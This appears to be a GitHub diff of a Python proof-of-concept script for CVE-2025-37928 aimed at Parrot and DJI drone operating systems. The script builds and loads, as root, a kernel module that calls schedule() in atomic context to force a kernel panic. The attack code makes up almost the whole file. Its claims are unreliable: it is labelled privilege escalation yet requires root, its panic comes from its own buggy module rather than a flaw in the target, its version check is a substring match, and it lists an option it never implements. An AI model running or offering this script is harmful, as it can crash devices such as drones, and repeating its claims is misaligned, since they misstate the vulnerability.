1+ #!/usr/bin/env python3
2+ # Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
3+ # Author: Mohammed Idrees Banyamer
4+ # Instagram: @banyamer_security
5+ # GitHub: https://github.com/mbanyamer
6+ # Date: 2025-06-10
7+ # Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
8+ # CVE: CVE-2025-37928
9+ # Type: Local Privilege Escalation / Kernel Panic
10+ # Platform: Linux-based drone OS (Parrot and DJI variants)
11+ # Author Country: Jordan
12+ # CVSS v3.1 Score: 7.3 (Important)
13+ # Weakness: CWE-284: Improper Access Control
14+ # Attack Vector: Local
15+ # User Interaction: None
16+ # Scope: Unchanged
17+ # Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
18+ # Exploit Code Maturity: Proof of Concept
19+ # Remediation Level: Official Fix Available
20+ #
21+ # Description:
22+ # This PoC triggers a kernel panic by calling schedule() inside an atomic context,
23+ # exploiting CVE-2025-37928 present in certain Linux kernels running on
24+ # Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
25+ #
26+ # Steps of exploitation:
27+ # 1. Check if running as root.
28+ # 2. Verify kernel version vulnerability.
29+ # 3. Detect drone type from system files.
30+ # 4. Build and load vulnerable kernel module.
31+ # 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
32+ #
33+ # Affected Drone Versions:
34+ # - Parrot QRD
35+ # - Parrot Alpha-M (DT)
36+ # - DJI QRD
37+ # - DJI Alpha-M (DT)
38+ #
39+ # ------------------------------------------------------------------------------
40+ # Usage:
41+ # sudo python3 cve_2025_37928_tool.py [OPTIONS]
42+ #
43+ # Options:
44+ # --dry-run Run detection & build only (no module loading)
45+ # --force Force exploit even if kernel not detected as vulnerable
46+ # --cleanup-only Remove the kernel module without triggering panic
47+ # --verbose Enable detailed logging and debug output
48+ # --help Show usage information
49+ #
50+ # Examples:
51+ # sudo python3 cve_2025_37928_tool.py --dry-run
52+ # sudo python3 cve_2025_37928_tool.py
53+ # sudo python3 cve_2025_37928_tool.py --force
54+ # sudo python3 cve_2025_37928_tool.py --cleanup-only
55+ #
56+ # Warning:
57+ # This PoC causes an immediate kernel panic.
58+ # Use it ONLY in isolated and controlled environments (e.g., lab tests).
59+ # ------------------------------------------------------------------------------
60+
61+ import os
62+ import sys
63+ import subprocess
64+ import tempfile
65+ import argparse
66+ import shutil
67+ import platform
68+
69+ MODULE_NAME = "cve_2025_37928_poc"
70+ C_FILENAME = MODULE_NAME + ".c"
71+ KO_FILENAME = MODULE_NAME + ".ko"
72+
73+ KERNEL_MODULE_CODE = r'''
74+ #include <linux/module.h>
75+ #include <linux/kernel.h>
76+ #include <linux/init.h>
77+ #include <linux/interrupt.h>
78+ #include <linux/sched.h>
79+
80+ MODULE_LICENSE("GPL");
81+ MODULE_AUTHOR("PoC Author");
82+ MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");
83+
84+ static void trigger_panic_tasklet(unsigned long data)
85+ {
86+ pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
87+ schedule(); // This causes kernel panic
88+ }
89+
90+ DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);
91+
92+ static int __init poc_init(void)
93+ {
94+ pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
95+ tasklet_schedule(&my_tasklet);
96+ return 0;
97+ }
98+
99+ static void __exit poc_exit(void)
100+ {
101+ tasklet_kill(&my_tasklet);
102+ pr_info("[CVE-2025-37928] PoC module unloaded\n");
103+ }
104+
105+ module_init(poc_init);
106+ module_exit(poc_exit);
107+ '''
108+
109+ MAKEFILE_CONTENT = f'''
110+ obj-m += { MODULE_NAME } .o
111+
112+ all:
113+ \t make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
114+
115+ clean:
116+ \t make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
117+ '''
118+
119+ def check_root ():
120+ if os .geteuid () != 0 :
121+ print ("[-] Must be run as root." )
122+ sys .exit (1 )
123+
124+ def detect_kernel ():
125+ version = platform .release ()
126+ vulnerable_versions = ["5.10" , "5.15" , "6.0" ]
127+ vulnerable = any (v in version for v in vulnerable_versions )
128+ print (f"[i] Kernel version: { version } => { 'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE' } " )
129+ return vulnerable
130+
131+ def detect_drone_type ():
132+ print ("[*] Detecting drone type..." )
133+ files = ["/etc/drone_type" , "/proc/device-tree/model" , "/sys/firmware/devicetree/base/model" ]
134+ found = []
135+ for path in files :
136+ if os .path .exists (path ):
137+ try :
138+ with open (path , "r" ) as f :
139+ content = f .read ().strip ()
140+ if any (x in content for x in ["Parrot" , "DJI" ]):
141+ found .append (content )
142+ except :
143+ continue
144+ if found :
145+ for d in found :
146+ print (f" [i] Found: { d } " )
147+ else :
148+ print (" [!] No drone ID found." )
149+ return found
150+
151+ def write_module (tempdir ):
152+ c_path = os .path .join (tempdir , C_FILENAME )
153+ makefile_path = os .path .join (tempdir , "Makefile" )
154+ with open (c_path , "w" ) as f :
155+ f .write (KERNEL_MODULE_CODE )
156+ with open (makefile_path , "w" ) as f :
157+ f .write (MAKEFILE_CONTENT )
158+ return c_path
159+
160+ def build_module (tempdir ):
161+ print ("[*] Building module..." )
162+ result = subprocess .run (["make" ], cwd = tempdir , capture_output = True , text = True )
163+ if result .returncode != 0 :
164+ print ("[-] Build failed:\n " , result .stderr )
165+ sys .exit (1 )
166+ print ("[+] Build successful." )
167+ return os .path .join (tempdir , KO_FILENAME )
168+
169+ def load_module (ko_path ):
170+ print ("[*] Loading kernel module..." )
171+ result = subprocess .run (["insmod" , ko_path ], capture_output = True , text = True )
172+ if result .returncode != 0 :
173+ print ("[-] insmod failed:\n " , result .stderr )
174+ sys .exit (1 )
175+ print ("[!] Module loaded. Kernel panic should occur if vulnerable." )
176+
177+ def unload_module ():
178+ print ("[*] Attempting to remove module..." )
179+ subprocess .run (["rmmod" , MODULE_NAME ], stderr = subprocess .DEVNULL )
180+ print ("[+] Module removal attempted." )
181+
182+ def clean_build (tempdir ):
183+ subprocess .run (["make" , "clean" ], cwd = tempdir , stdout = subprocess .DEVNULL , stderr = subprocess .DEVNULL )
184+
185+ def main ():
186+ parser = argparse .ArgumentParser (description = "CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes" )
187+ parser .add_argument ("--dry-run" , action = "store_true" , help = "Only simulate and check environment, no exploitation" )
188+ parser .add_argument ("--force" , action = "store_true" , help = "Force execution even if version unknown" )
189+ parser .add_argument ("--cleanup-only" , action = "store_true" , help = "Just remove kernel module if loaded" )
190+
191+ args = parser .parse_args ()
192+ check_root ()
193+
194+ if args .cleanup_only :
195+ unload_module ()
196+ return
197+
198+ vulnerable = detect_kernel ()
199+ detect_drone_type ()
200+
201+ if not vulnerable and not args .force :
202+ print ("[-] Kernel not identified as vulnerable. Use --force to override." )
203+ sys .exit (1 )
204+
205+ if args .dry_run :
206+ print ("[*] Dry run mode. Exiting before exploitation." )
207+ return
208+
209+ with tempfile .TemporaryDirectory () as tempdir :
210+ print (f"[*] Working directory: { tempdir } " )
211+ write_module (tempdir )
212+ ko_path = build_module (tempdir )
213+
214+ try :
215+ load_module (ko_path )
216+ except KeyboardInterrupt :
217+ print ("[!] Interrupted. Attempting cleanup..." )
218+ finally :
219+ unload_module ()
220+ clean_build (tempdir )
221+
222+ if __name__ == "__main__" :
223+ main ()
0 commit comments